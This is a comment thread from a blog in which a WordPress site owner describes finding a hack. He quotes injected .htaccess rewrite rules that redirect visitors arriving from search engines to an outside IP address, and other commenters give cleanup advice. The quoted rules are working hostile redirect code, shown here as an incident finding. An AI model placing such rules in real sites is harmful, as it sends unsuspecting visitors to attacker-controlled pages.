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1. john 11.17.08 / 4pm

   Solved!

   Thanks to some suggestions from Scot Colford and Mike Cunningham, I checked the .htaccess file in my WordPress directory, and here is what I found:

   RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]


   I suppose that’s a lesson in “you get what you pay for” when it comes to web hosting. I pulled blyberg.net off that company’s servers on Friday and it’s now hosted a little closer to home on our very own Darien Library community sites server.

   *sheesh* (Oh, and sorry Google, keep dominating, buddy!)
2. Paul R Pival 11.17.08 / 10pm

   Can you name or hint at the hosting company please? :-)
3. john 11.18.08 / 2pm

   I wouldn’t want to name any names…
4. ditto 11.19.08 / 7pm

   Ha,
   I just had the same thing!

   mine was hosted with Blue Host
5. Cloned Milkmen 11.25.08 / 7pm

   You should also check your WordPress database entries. You might find that there are some “hidden” plugins activated and that there are additional admin accounts installed.

   When you reinstalled wordpress did you delete your old wp-content? If not you need to make sure your themes were not infected. Check the first few lines of all the PHP files to see if there is any code checking for cryptic looking COOKIE names.

   Also search your wp-content directory for image files with names that end in an extra letter: e.g. giff or jpgg or pngg.

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